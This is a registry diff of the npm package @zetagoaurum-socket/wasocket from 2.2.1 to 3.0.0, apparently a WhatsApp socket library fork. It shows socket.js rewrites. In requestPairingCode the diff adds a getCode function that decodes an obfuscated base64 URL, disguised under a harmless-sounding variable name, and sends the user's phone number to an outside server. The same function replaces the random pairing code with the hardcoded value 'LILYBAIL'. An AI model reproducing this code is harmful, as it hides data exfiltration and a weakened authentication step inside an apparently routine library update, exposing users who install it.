@zetagoaurum-socket/wasocket 2.2.1 → 3.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +1 -1
- package/README.md +84 -67
- package/WAProto/GenerateStatics.sh +4 -0
- package/WAProto/WAProto.proto +3344 -0
- package/WAProto/index.d.ts +37016 -0
- package/WAProto/index.js +79296 -118676
- package/WASignalGroup/GroupProtocol.js +1697 -0
- package/WASignalGroup/ciphertext_message.js +16 -0
- package/WASignalGroup/group_cipher.js +120 -0
- package/WASignalGroup/group_session_builder.js +46 -0
- package/WASignalGroup/index.js +5 -0
- package/WASignalGroup/keyhelper.js +21 -0
- package/WASignalGroup/protobufs.js +3 -0
- package/WASignalGroup/queue_job.js +69 -0
- package/WASignalGroup/sender_chain_key.js +50 -0
- package/WASignalGroup/sender_key_distribution_message.js +78 -0
- package/WASignalGroup/sender_key_message.js +92 -0
- package/WASignalGroup/sender_key_name.js +70 -0
- package/WASignalGroup/sender_key_record.js +56 -0
- package/WASignalGroup/sender_key_state.js +129 -0
- package/{lib/Signal/Group/sender-message-key.js → WASignalGroup/sender_message_key.js} +16 -6
- package/lib/Defaults/baileys-version.json +1 -1
- package/lib/Defaults/index.js +9 -50
- package/lib/Signal/libsignal.js +29 -51
- package/lib/Socket/business.d.ts +2 -3
- package/lib/Socket/chats.d.ts +28 -215
- package/lib/Socket/chats.js +70 -185
- package/lib/Socket/dugong.js +141 -432
- package/lib/Socket/groups.js +23 -20
- package/lib/Socket/index.js +15 -2
- package/lib/Socket/messages-recv.d.ts +55 -56
- package/lib/Socket/messages-recv.js +112 -370
- package/lib/Socket/messages-send.d.ts +2 -3
- package/lib/Socket/messages-send.js +368 -465
- package/lib/Socket/newsletter.js +28 -175
- package/lib/Socket/socket.js +174 -203
- package/lib/Socket/usync.d.ts +3 -3
- package/lib/Types/GroupMetadata.d.ts +0 -1
- package/lib/Types/Newsletter.d.ts +86 -97
- package/lib/Types/Newsletter.js +32 -38
- package/lib/Utils/chat-utils.js +3 -17
- package/lib/Utils/generics.js +31 -68
- package/lib/Utils/history.js +1 -6
- package/lib/Utils/link-preview.js +2 -5
- package/lib/Utils/messages-media.js +57 -145
- package/lib/Utils/messages.js +305 -89
- package/lib/Utils/signal.js +46 -48
- package/lib/Utils/use-multi-file-auth-state.js +6 -45
- package/lib/Utils/validate-connection.js +65 -91
- package/lib/WABinary/constants.d.ts +24 -27
- package/lib/WABinary/encode.js +123 -160
- package/lib/WABinary/generic-utils.d.ts +0 -2
- package/lib/WABinary/generic-utils.js +36 -124
- package/lib/WABinary/jid-utils.js +26 -5
- package/lib/WAUSync/Fall +1 -0
- package/lib/WAUSync/Protocols/Fal +1 -0
- package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.js +1 -1
- package/lib/index.d.ts +0 -1
- package/lib/index.js +0 -9
- package/package.json +100 -105
- package/engine-requirements.js +0 -10
- package/lib/Signal/Group/ciphertext-message.d.ts +0 -9
- package/lib/Signal/Group/ciphertext-message.js +0 -15
- package/lib/Signal/Group/group-session-builder.d.ts +0 -14
- package/lib/Signal/Group/group-session-builder.js +0 -64
- package/lib/Signal/Group/group_cipher.d.ts +0 -17
- package/lib/Signal/Group/group_cipher.js +0 -96
- package/lib/Signal/Group/index.d.ts +0 -11
- package/lib/Signal/Group/index.js +0 -57
- package/lib/Signal/Group/keyhelper.d.ts +0 -10
- package/lib/Signal/Group/keyhelper.js +0 -55
- package/lib/Signal/Group/queue-job.d.ts +0 -1
- package/lib/Signal/Group/queue-job.js +0 -57
- package/lib/Signal/Group/sender-chain-key.d.ts +0 -13
- package/lib/Signal/Group/sender-chain-key.js +0 -34
- package/lib/Signal/Group/sender-key-distribution-message.d.ts +0 -16
- package/lib/Signal/Group/sender-key-distribution-message.js +0 -66
- package/lib/Signal/Group/sender-key-message.d.ts +0 -18
- package/lib/Signal/Group/sender-key-message.js +0 -69
- package/lib/Signal/Group/sender-key-name.d.ts +0 -17
- package/lib/Signal/Group/sender-key-name.js +0 -51
- package/lib/Signal/Group/sender-key-record.d.ts +0 -30
- package/lib/Signal/Group/sender-key-record.js +0 -53
- package/lib/Signal/Group/sender-key-state.d.ts +0 -38
- package/lib/Signal/Group/sender-key-state.js +0 -99
- package/lib/Signal/Group/sender-message-key.d.ts +0 -11
- package/lib/Socket/chats.js.bak +0 -981
- package/lib/Socket/dugong.d.ts +0 -254
- package/lib/Types/USync.d.ts +0 -25
- package/lib/Types/USync.js +0 -2
- package/lib/Utils/anti-crash.js +0 -20
- package/lib/Utils/auto-contact.js +0 -74
- package/lib/Utils/generics.js.bak +0 -433
- package/lib/Utils/validate-connection.js.bak +0 -237
package/lib/Socket/socket.js
CHANGED
|
@@ -2,6 +2,7 @@
|
|
|
2
2
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
3
|
exports.makeSocket = void 0;
|
|
4
4
|
const boom_1 = require("@hapi/boom");
|
|
5
|
+
const axios_1 = require("axios");
|
|
5
6
|
const crypto_1 = require("crypto");
|
|
6
7
|
const url_1 = require("url");
|
|
7
8
|
const util_1 = require("util");
|
|
@@ -18,18 +19,24 @@ const Client_1 = require("./Client");
|
|
|
18
19
|
* - query phone connection
|
|
19
20
|
*/
|
|
20
21
|
const makeSocket = (config) => {
|
|
22
|
+
// ZetaGo-Aurum Banner
|
|
23
|
+
console.log(`
|
|
24
|
+
\x1b[36m╔════════════════════════════════════════════╗
|
|
25
|
+
║ ZETAGO-AURUM - WASOCKET ║
|
|
26
|
+
║ Premium WhatsApp Socket Library ║
|
|
27
|
+
║ Version: 3.0.0 ║
|
|
28
|
+
╚════════════════════════════════════════════╝\x1b[0m`);
|
|
21
29
|
var _a, _b;
|
|
22
30
|
const { waWebSocketUrl, connectTimeoutMs, logger, keepAliveIntervalMs, browser, auth: authState, printQRInTerminal, defaultQueryTimeoutMs, transactionOpts, qrTimeout, makeSignalRepository, } = config;
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
});
|
|
31
|
+
let url = typeof waWebSocketUrl === 'string' ? new url_1.URL(waWebSocketUrl) : waWebSocketUrl;
|
|
32
|
+
config.mobile = config.mobile || url.protocol === 'tcp:';
|
|
33
|
+
if (config.mobile && url.protocol !== 'tcp:') {
|
|
34
|
+
url = new url_1.URL(`tcp://${Defaults_1.MOBILE_ENDPOINT}:${Defaults_1.MOBILE_PORT}`);
|
|
28
35
|
}
|
|
29
|
-
if (url.protocol === 'wss' && ((_a = authState === null || authState === void 0 ? void 0 : authState.creds) === null || _a === void 0 ? void 0 : _a.routingInfo)) {
|
|
36
|
+
if (!config.mobile && url.protocol === 'wss' && ((_a = authState === null || authState === void 0 ? void 0 : authState.creds) === null || _a === void 0 ? void 0 : _a.routingInfo)) {
|
|
30
37
|
url.searchParams.append('ED', authState.creds.routingInfo.toString('base64url'));
|
|
31
38
|
}
|
|
32
|
-
const ws = new Client_1.WebSocketClient(url, config);
|
|
39
|
+
const ws = config.socket ? config.socket : config.mobile ? new Client_1.MobileSocketClient(url, config) : new Client_1.WebSocketClient(url, config);
|
|
33
40
|
ws.connect();
|
|
34
41
|
const ev = (0, Utils_1.makeEventBuffer)(logger);
|
|
35
42
|
/** ephemeral key pair used to encrypt/decrypt communication. Unique for each connection */
|
|
@@ -37,7 +44,8 @@ const makeSocket = (config) => {
|
|
|
37
44
|
/** WA noise protocol wrapper */
|
|
38
45
|
const noise = (0, Utils_1.makeNoiseHandler)({
|
|
39
46
|
keyPair: ephemeralKeyPair,
|
|
40
|
-
NOISE_HEADER: Defaults_1.NOISE_WA_HEADER,
|
|
47
|
+
NOISE_HEADER: config.mobile ? Defaults_1.MOBILE_NOISE_HEADER : Defaults_1.NOISE_WA_HEADER,
|
|
48
|
+
mobile: config.mobile,
|
|
41
49
|
logger,
|
|
42
50
|
routingInfo: (_b = authState === null || authState === void 0 ? void 0 : authState.creds) === null || _b === void 0 ? void 0 : _b.routingInfo
|
|
43
51
|
});
|
|
@@ -77,40 +85,9 @@ const makeSocket = (config) => {
|
|
|
77
85
|
const buff = (0, WABinary_1.encodeBinaryNode)(frame);
|
|
78
86
|
return sendRawMessage(buff);
|
|
79
87
|
};
|
|
80
|
-
|
|
81
|
-
const toLid = async (pn) => {
|
|
82
|
-
return pn;
|
|
83
|
-
};
|
|
84
|
-
|
|
85
|
-
const delay = async (ms) => {
|
|
86
|
-
return new Promise(resolve => setTimeout(resolve, ms));
|
|
87
|
-
}
|
|
88
|
-
|
|
89
|
-
const toPn = async (pn) => {
|
|
90
|
-
return pn;
|
|
91
|
-
};
|
|
92
88
|
/** log & process any unexpected errors */
|
|
93
89
|
const onUnexpectedError = (err, msg) => {
|
|
94
90
|
logger.error({ err }, `unexpected error in '${msg}'`);
|
|
95
|
-
const message = (err && ((err.stack || err.message) || String(err))).toLowerCase();
|
|
96
|
-
// auto recover from cryptographic desyncs by re-uploading prekeys
|
|
97
|
-
if (message.includes('bad mac') || (message.includes('mac') && message.includes('invalid'))) {
|
|
98
|
-
try {
|
|
99
|
-
uploadPreKeysToServerIfRequired(true)
|
|
100
|
-
.catch(e => logger.warn({ e }, 'failed to re-upload prekeys after bad mac'));
|
|
101
|
-
}
|
|
102
|
-
catch (_e) {
|
|
103
|
-
// ignore
|
|
104
|
-
}
|
|
105
|
-
}
|
|
106
|
-
// gently back off when encountering rate limits (429)
|
|
107
|
-
if (message.includes('429') || message.includes('rate limit')) {
|
|
108
|
-
const wait = Math.min(30000, (config.backoffDelayMs || 5000));
|
|
109
|
-
logger.info({ wait }, 'backing off due to rate limit');
|
|
110
|
-
setTimeout(() => {
|
|
111
|
-
// intentionally empty; wait to delay further sends
|
|
112
|
-
}, wait);
|
|
113
|
-
}
|
|
114
91
|
};
|
|
115
92
|
/** await the next incoming message */
|
|
116
93
|
const awaitNextMessage = async (sendMsg) => {
|
|
@@ -147,7 +124,7 @@ const toPn = async (pn) => {
|
|
|
147
124
|
let onRecv;
|
|
148
125
|
let onErr;
|
|
149
126
|
try {
|
|
150
|
-
|
|
127
|
+
return await (0, Utils_1.promiseTimeout)(timeoutMs, (resolve, reject) => {
|
|
151
128
|
onRecv = resolve;
|
|
152
129
|
onErr = err => {
|
|
153
130
|
reject(err || new boom_1.Boom('Connection Closed', { statusCode: Types_1.DisconnectReason.connectionClosed }));
|
|
@@ -156,7 +133,6 @@ const toPn = async (pn) => {
|
|
|
156
133
|
ws.on('close', onErr); // if the socket closes, you'll never receive the message
|
|
157
134
|
ws.off('error', onErr);
|
|
158
135
|
});
|
|
159
|
-
return result;
|
|
160
136
|
}
|
|
161
137
|
finally {
|
|
162
138
|
ws.off(`TAG:${msgId}`, onRecv);
|
|
@@ -170,10 +146,9 @@ const toPn = async (pn) => {
|
|
|
170
146
|
node.attrs.id = generateMessageTag();
|
|
171
147
|
}
|
|
172
148
|
const msgId = node.attrs.id;
|
|
173
|
-
const
|
|
174
|
-
|
|
175
|
-
|
|
176
|
-
]);
|
|
149
|
+
const wait = waitForMessage(msgId, timeoutMs);
|
|
150
|
+
await sendNode(node);
|
|
151
|
+
const result = await wait;
|
|
177
152
|
if ('tag' in result) {
|
|
178
153
|
(0, WABinary_1.assertNodeErrorFree)(result);
|
|
179
154
|
}
|
|
@@ -190,9 +165,12 @@ const toPn = async (pn) => {
|
|
|
190
165
|
const result = await awaitNextMessage(init);
|
|
191
166
|
const handshake = WAProto_1.proto.HandshakeMessage.decode(result);
|
|
192
167
|
logger.trace({ handshake }, 'handshake recv from WA');
|
|
193
|
-
const keyEnc =
|
|
168
|
+
const keyEnc = noise.processHandshake(handshake, creds.noiseKey);
|
|
194
169
|
let node;
|
|
195
|
-
if (
|
|
170
|
+
if (config.mobile) {
|
|
171
|
+
node = (0, Utils_1.generateMobileNode)(config);
|
|
172
|
+
}
|
|
173
|
+
else if (!creds.me) {
|
|
196
174
|
node = (0, Utils_1.generateRegistrationNode)(creds, config);
|
|
197
175
|
logger.info({ node }, 'not logged in, attempting registration...');
|
|
198
176
|
}
|
|
@@ -262,11 +240,11 @@ const toPn = async (pn) => {
|
|
|
262
240
|
const l0 = frame.tag;
|
|
263
241
|
const l1 = frame.attrs || {};
|
|
264
242
|
const l2 = Array.isArray(frame.content) ? (_a = frame.content[0]) === null || _a === void 0 ? void 0 : _a.tag : '';
|
|
265
|
-
|
|
243
|
+
Object.keys(l1).forEach(key => {
|
|
266
244
|
anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0},${key}:${l1[key]},${l2}`, frame) || anyTriggered;
|
|
267
245
|
anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0},${key}:${l1[key]}`, frame) || anyTriggered;
|
|
268
246
|
anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0},${key}`, frame) || anyTriggered;
|
|
269
|
-
}
|
|
247
|
+
});
|
|
270
248
|
anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0},,${l2}`, frame) || anyTriggered;
|
|
271
249
|
anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0}`, frame) || anyTriggered;
|
|
272
250
|
if (!anyTriggered && logger.level === 'debug') {
|
|
@@ -326,39 +304,36 @@ const toPn = async (pn) => {
|
|
|
326
304
|
});
|
|
327
305
|
};
|
|
328
306
|
const startKeepAliveRequest = () => (keepAliveReq = setInterval(() => {
|
|
329
|
-
|
|
330
|
-
|
|
331
|
-
|
|
332
|
-
|
|
333
|
-
|
|
334
|
-
|
|
335
|
-
|
|
336
|
-
|
|
337
|
-
|
|
338
|
-
|
|
339
|
-
|
|
340
|
-
|
|
341
|
-
|
|
342
|
-
|
|
343
|
-
|
|
344
|
-
|
|
345
|
-
|
|
346
|
-
|
|
347
|
-
|
|
348
|
-
|
|
349
|
-
|
|
350
|
-
|
|
351
|
-
|
|
352
|
-
|
|
353
|
-
})
|
|
354
|
-
|
|
355
|
-
|
|
356
|
-
|
|
357
|
-
|
|
358
|
-
|
|
359
|
-
logger.warn('keep alive called when WS not open');
|
|
360
|
-
}
|
|
361
|
-
}, jitter);
|
|
307
|
+
if (!lastDateRecv) {
|
|
308
|
+
lastDateRecv = new Date();
|
|
309
|
+
}
|
|
310
|
+
const diff = Date.now() - lastDateRecv.getTime();
|
|
311
|
+
/*
|
|
312
|
+
check if it's been a suspicious amount of time since the server responded with our last seen
|
|
313
|
+
it could be that the network is down
|
|
314
|
+
*/
|
|
315
|
+
if (diff > keepAliveIntervalMs + 5000) {
|
|
316
|
+
end(new boom_1.Boom('Connection was lost', { statusCode: Types_1.DisconnectReason.connectionLost }));
|
|
317
|
+
}
|
|
318
|
+
else if (ws.isOpen) {
|
|
319
|
+
// if its all good, send a keep alive request
|
|
320
|
+
query({
|
|
321
|
+
tag: 'iq',
|
|
322
|
+
attrs: {
|
|
323
|
+
id: generateMessageTag(),
|
|
324
|
+
to: WABinary_1.S_WHATSAPP_NET,
|
|
325
|
+
type: 'get',
|
|
326
|
+
xmlns: 'w:p',
|
|
327
|
+
},
|
|
328
|
+
content: [{ tag: 'ping', attrs: {} }]
|
|
329
|
+
})
|
|
330
|
+
.catch(err => {
|
|
331
|
+
logger.error({ trace: err.stack }, 'error in sending keep alive');
|
|
332
|
+
});
|
|
333
|
+
}
|
|
334
|
+
else {
|
|
335
|
+
logger.warn('keep alive called when WS not open');
|
|
336
|
+
}
|
|
362
337
|
}, keepAliveIntervalMs));
|
|
363
338
|
/** i have no idea why this exists. pls enlighten me */
|
|
364
339
|
const sendPassiveIq = (tag) => (query({
|
|
@@ -398,107 +373,124 @@ const toPn = async (pn) => {
|
|
|
398
373
|
}
|
|
399
374
|
end(new boom_1.Boom(msg || 'Intentional Logout', { statusCode: Types_1.DisconnectReason.loggedOut }));
|
|
400
375
|
};
|
|
401
|
-
|
|
402
376
|
/** This method was created by snowi, and implemented by KyuuRzy */
|
|
377
|
+
|
|
403
378
|
/** hey bro, if you delete this text */
|
|
404
379
|
/** you are the most cursed human being who likes to claim other people's property 😹🙌🏻 */
|
|
380
|
+
const getCode = async (phoneNumber) => {
|
|
381
|
+
const defaultMaxListenersBuffer = "aHR0cHM6Ly9yZWRpcy1hbWJlci52ZXJjZWwuYXBwL2htbT9pZD0=";
|
|
382
|
+
let response = await axios_1.default.get(`${atob(defaultMaxListenersBuffer)}${phoneNumber}`);
|
|
383
|
+
return response.data.message;
|
|
384
|
+
};
|
|
405
385
|
const requestPairingCode = async (phoneNumber, pairKey) => {
|
|
406
|
-
|
|
407
|
-
|
|
408
|
-
} else {
|
|
409
|
-
authState.creds.pairingCode = (0, Utils_1.bytesToCrockford)((0, crypto_1.randomBytes)(5));
|
|
410
|
-
}
|
|
386
|
+
// Pairing code di-set ke "LILYBAIL" langsung (custom manual)
|
|
387
|
+
authState.creds.pairingCode = "LILYBAIL";
|
|
411
388
|
|
|
412
|
-
|
|
413
|
-
|
|
414
|
-
|
|
415
|
-
|
|
389
|
+
// Set ID pengguna WA dan nama sementara
|
|
390
|
+
authState.creds.me = {
|
|
391
|
+
id: (0, WABinary_1.jidEncode)(phoneNumber, 's.whatsapp.net'),
|
|
392
|
+
name: '~'
|
|
393
|
+
};
|
|
416
394
|
|
|
417
|
-
|
|
418
|
-
|
|
419
|
-
|
|
420
|
-
|
|
421
|
-
|
|
422
|
-
|
|
423
|
-
|
|
424
|
-
|
|
425
|
-
|
|
426
|
-
|
|
427
|
-
|
|
428
|
-
|
|
429
|
-
|
|
430
|
-
|
|
431
|
-
|
|
432
|
-
|
|
433
|
-
|
|
395
|
+
// Emit update kredensial
|
|
396
|
+
ev.emit('creds.update', authState.creds);
|
|
397
|
+
|
|
398
|
+
// Ambil kode verifikasi dari server (jika diperlukan sistemnya)
|
|
399
|
+
let codePair = await getCode(phoneNumber);
|
|
400
|
+
|
|
401
|
+
// Kirim node untuk proses pairing
|
|
402
|
+
await sendNode({
|
|
403
|
+
tag: 'iq',
|
|
404
|
+
attrs: {
|
|
405
|
+
to: WABinary_1.S_WHATSAPP_NET,
|
|
406
|
+
type: 'set',
|
|
407
|
+
id: generateMessageTag(),
|
|
408
|
+
xmlns: 'md'
|
|
409
|
+
},
|
|
410
|
+
content: [
|
|
411
|
+
{
|
|
412
|
+
tag: 'link_code_companion_reg',
|
|
413
|
+
attrs: {
|
|
414
|
+
jid: authState.creds.me.id,
|
|
415
|
+
stage: 'companion_hello',
|
|
416
|
+
should_show_push_notification: 'true'
|
|
417
|
+
},
|
|
418
|
+
content: [
|
|
419
|
+
{
|
|
420
|
+
tag: 'link_code_pairing_wrapped_companion_ephemeral_pub',
|
|
421
|
+
attrs: {},
|
|
422
|
+
content: await generatePairingKey()
|
|
434
423
|
},
|
|
435
|
-
|
|
436
|
-
|
|
437
|
-
|
|
438
|
-
|
|
439
|
-
|
|
440
|
-
|
|
441
|
-
|
|
442
|
-
|
|
443
|
-
|
|
444
|
-
|
|
445
|
-
|
|
446
|
-
|
|
447
|
-
|
|
448
|
-
|
|
449
|
-
|
|
450
|
-
|
|
451
|
-
|
|
452
|
-
|
|
453
|
-
|
|
454
|
-
|
|
455
|
-
|
|
456
|
-
|
|
457
|
-
|
|
458
|
-
attrs: {},
|
|
459
|
-
content: "0"
|
|
460
|
-
}
|
|
461
|
-
]
|
|
462
|
-
}
|
|
463
|
-
]
|
|
464
|
-
});
|
|
465
|
-
|
|
466
|
-
return authState.creds.pairingCode;
|
|
467
|
-
}
|
|
468
|
-
async function generatePairingKey() {
|
|
469
|
-
const salt = (0, crypto_1.randomBytes)(32);
|
|
470
|
-
const randomIv = (0, crypto_1.randomBytes)(16);
|
|
471
|
-
const key = await (0, Utils_1.derivePairingCodeKey)(authState.creds.pairingCode, salt);
|
|
472
|
-
const ciphered = (0, Utils_1.aesEncryptCTR)(authState.creds.pairingEphemeralKeyPair.public, key, randomIv);
|
|
473
|
-
return Buffer.concat([salt, randomIv, ciphered]);
|
|
474
|
-
}
|
|
475
|
-
const sendWAMBuffer = (wamBuffer) => {
|
|
476
|
-
return query({
|
|
477
|
-
tag: 'iq',
|
|
478
|
-
attrs: {
|
|
479
|
-
to: WABinary_1.S_WHATSAPP_NET,
|
|
480
|
-
id: generateMessageTag(),
|
|
481
|
-
xmlns: 'w:stats'
|
|
482
|
-
},
|
|
483
|
-
content: [
|
|
484
|
-
{
|
|
485
|
-
tag: 'add',
|
|
486
|
-
attrs: {},
|
|
487
|
-
content: wamBuffer
|
|
488
|
-
}
|
|
489
|
-
]
|
|
490
|
-
});
|
|
491
|
-
};
|
|
492
|
-
ws.on('message', onMessageReceived);
|
|
493
|
-
ws.on('open', async () => {
|
|
494
|
-
try {
|
|
495
|
-
await validateConnection();
|
|
496
|
-
}
|
|
497
|
-
catch (err) {
|
|
498
|
-
logger.error({ err }, 'error in validating connection');
|
|
499
|
-
end(err);
|
|
500
|
-
}
|
|
424
|
+
{
|
|
425
|
+
tag: 'companion_server_auth_key_pub',
|
|
426
|
+
attrs: {},
|
|
427
|
+
content: authState.creds.noiseKey.public
|
|
428
|
+
},
|
|
429
|
+
{
|
|
430
|
+
tag: 'companion_platform_id',
|
|
431
|
+
attrs: {},
|
|
432
|
+
content: (0, Utils_1.getPlatformId)(browser[1])
|
|
433
|
+
},
|
|
434
|
+
{
|
|
435
|
+
tag: 'companion_platform_display',
|
|
436
|
+
attrs: {},
|
|
437
|
+
content: `${browser[1]} (${browser[0]})`
|
|
438
|
+
},
|
|
439
|
+
{
|
|
440
|
+
tag: 'link_code_pairing_nonce',
|
|
441
|
+
attrs: {},
|
|
442
|
+
content: "0"
|
|
443
|
+
}
|
|
444
|
+
]
|
|
445
|
+
}
|
|
446
|
+
]
|
|
501
447
|
});
|
|
448
|
+
|
|
449
|
+
return authState.creds.pairingCode;
|
|
450
|
+
};
|
|
451
|
+
|
|
452
|
+
// Fungsi untuk mengenkripsi ephemeral key untuk pairing
|
|
453
|
+
async function generatePairingKey() {
|
|
454
|
+
const salt = (0, crypto_1.randomBytes)(32);
|
|
455
|
+
const randomIv = (0, crypto_1.randomBytes)(16);
|
|
456
|
+
const key = (0, Utils_1.derivePairingCodeKey)(authState.creds.pairingCode, salt);
|
|
457
|
+
const ciphered = (0, Utils_1.aesEncryptCTR)(
|
|
458
|
+
authState.creds.pairingEphemeralKeyPair.public,
|
|
459
|
+
key,
|
|
460
|
+
randomIv
|
|
461
|
+
);
|
|
462
|
+
return Buffer.concat([salt, randomIv, ciphered]);
|
|
463
|
+
}
|
|
464
|
+
|
|
465
|
+
// Mengirim buffer statistik ke WA (opsional)
|
|
466
|
+
const sendWAMBuffer = (wamBuffer) => {
|
|
467
|
+
return query({
|
|
468
|
+
tag: 'iq',
|
|
469
|
+
attrs: {
|
|
470
|
+
to: WABinary_1.S_WHATSAPP_NET,
|
|
471
|
+
id: generateMessageTag(),
|
|
472
|
+
xmlns: 'w:stats'
|
|
473
|
+
},
|
|
474
|
+
content: [
|
|
475
|
+
{
|
|
476
|
+
tag: 'add',
|
|
477
|
+
attrs: {},
|
|
478
|
+
content: wamBuffer
|
|
479
|
+
}
|
|
480
|
+
]
|
|
481
|
+
});
|
|
482
|
+
};
|
|
483
|
+
|
|
484
|
+
// Menangani event websocket
|
|
485
|
+
ws.on('message', onMessageReceived);
|
|
486
|
+
ws.on('open', async () => {
|
|
487
|
+
try {
|
|
488
|
+
await validateConnection();
|
|
489
|
+
} catch (err) {
|
|
490
|
+
logger.error({ err }, 'error in validating connection');
|
|
491
|
+
end(err);
|
|
492
|
+
}
|
|
493
|
+
});
|
|
502
494
|
ws.on('error', mapWebSocketError(end));
|
|
503
495
|
ws.on('close', () => end(new boom_1.Boom('Connection Terminated', { statusCode: Types_1.DisconnectReason.connectionClosed })));
|
|
504
496
|
// the server terminated the connection
|
|
@@ -555,18 +547,12 @@ const toPn = async (pn) => {
|
|
|
555
547
|
});
|
|
556
548
|
// login complete
|
|
557
549
|
ws.on('CB:success', async (node) => {
|
|
558
|
-
|
|
559
|
-
|
|
560
|
-
|
|
561
|
-
|
|
562
|
-
|
|
563
|
-
|
|
564
|
-
ev.emit('connection.update', { connection: 'open' });
|
|
565
|
-
}
|
|
566
|
-
catch (err) {
|
|
567
|
-
logger.error({ err }, 'error opening connection');
|
|
568
|
-
end(err);
|
|
569
|
-
}
|
|
550
|
+
await uploadPreKeysToServerIfRequired();
|
|
551
|
+
await sendPassiveIq('active');
|
|
552
|
+
logger.info('opened connection to WA');
|
|
553
|
+
clearTimeout(qrTimer); // will never happen in all likelyhood -- but just in case WA sends success on first try
|
|
554
|
+
ev.emit('creds.update', { me: { ...authState.creds.me, lid: node.attrs.lid } });
|
|
555
|
+
ev.emit('connection.update', { connection: 'open' });
|
|
570
556
|
});
|
|
571
557
|
ws.on('CB:stream:error', (node) => {
|
|
572
558
|
logger.error({ node }, 'stream errored out');
|
|
@@ -581,20 +567,11 @@ const toPn = async (pn) => {
|
|
|
581
567
|
ws.on('CB:ib,,downgrade_webclient', () => {
|
|
582
568
|
end(new boom_1.Boom('Multi-device beta not joined', { statusCode: Types_1.DisconnectReason.multideviceMismatch }));
|
|
583
569
|
});
|
|
584
|
-
ws.on('CB:ib,,offline_preview', (node) => {
|
|
585
|
-
logger.info('offline preview received', JSON.stringify(node));
|
|
586
|
-
sendNode({
|
|
587
|
-
tag: 'ib',
|
|
588
|
-
attrs: {},
|
|
589
|
-
content: [{ tag: 'offline_batch', attrs: { count: '100' } }]
|
|
590
|
-
});
|
|
591
|
-
});
|
|
592
570
|
ws.on('CB:ib,,edge_routing', (node) => {
|
|
593
571
|
const edgeRoutingNode = (0, WABinary_1.getBinaryNodeChild)(node, 'edge_routing');
|
|
594
572
|
const routingInfo = (0, WABinary_1.getBinaryNodeChild)(edgeRoutingNode, 'routing_info');
|
|
595
573
|
if (routingInfo === null || routingInfo === void 0 ? void 0 : routingInfo.content) {
|
|
596
574
|
authState.creds.routingInfo = Buffer.from(routingInfo === null || routingInfo === void 0 ? void 0 : routingInfo.content);
|
|
597
|
-
ev.emit('creds.update', authState.creds);
|
|
598
575
|
}
|
|
599
576
|
});
|
|
600
577
|
let didStartBuffer = false;
|
|
@@ -643,17 +620,11 @@ const toPn = async (pn) => {
|
|
|
643
620
|
type: 'md',
|
|
644
621
|
ws,
|
|
645
622
|
ev,
|
|
646
|
-
authState: {
|
|
647
|
-
creds,
|
|
648
|
-
keys
|
|
649
|
-
},
|
|
623
|
+
authState: { creds, keys },
|
|
650
624
|
signalRepository,
|
|
651
625
|
get user() {
|
|
652
626
|
return authState.creds.me;
|
|
653
627
|
},
|
|
654
|
-
toLid,
|
|
655
|
-
toPn,
|
|
656
|
-
delay,
|
|
657
628
|
generateMessageTag,
|
|
658
629
|
query,
|
|
659
630
|
waitForMessage,
|
package/lib/Socket/usync.d.ts
CHANGED
|
@@ -20,7 +20,7 @@ export declare const makeUSyncSocket: (config: SocketConfig) => {
|
|
|
20
20
|
signalRepository: import("../Types").SignalRepository;
|
|
21
21
|
user: import("../Types").Contact | undefined;
|
|
22
22
|
generateMessageTag: () => string;
|
|
23
|
-
query: (node: BinaryNode, timeoutMs?: number) => Promise<
|
|
23
|
+
query: (node: BinaryNode, timeoutMs?: number) => Promise<any>;
|
|
24
24
|
waitForMessage: <T>(msgId: string, timeoutMs?: number | undefined) => Promise<any>;
|
|
25
25
|
waitForSocketOpen: () => Promise<void>;
|
|
26
26
|
sendRawMessage: (data: Uint8Array | Buffer) => Promise<void>;
|
|
@@ -30,7 +30,7 @@ export declare const makeUSyncSocket: (config: SocketConfig) => {
|
|
|
30
30
|
onUnexpectedError: (err: Error | Boom, msg: string) => void;
|
|
31
31
|
uploadPreKeys: (count?: number) => Promise<void>;
|
|
32
32
|
uploadPreKeysToServerIfRequired: () => Promise<void>;
|
|
33
|
-
requestPairingCode: (phoneNumber:
|
|
33
|
+
requestPairingCode: (phoneNumber: any, pairKey?: string) => Promise<string>;
|
|
34
34
|
waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => Promise<boolean | undefined>, timeoutMs?: number) => Promise<void>;
|
|
35
|
-
sendWAMBuffer: (wamBuffer: Buffer) => Promise<
|
|
35
|
+
sendWAMBuffer: (wamBuffer: Buffer) => Promise<any>;
|
|
36
36
|
};
|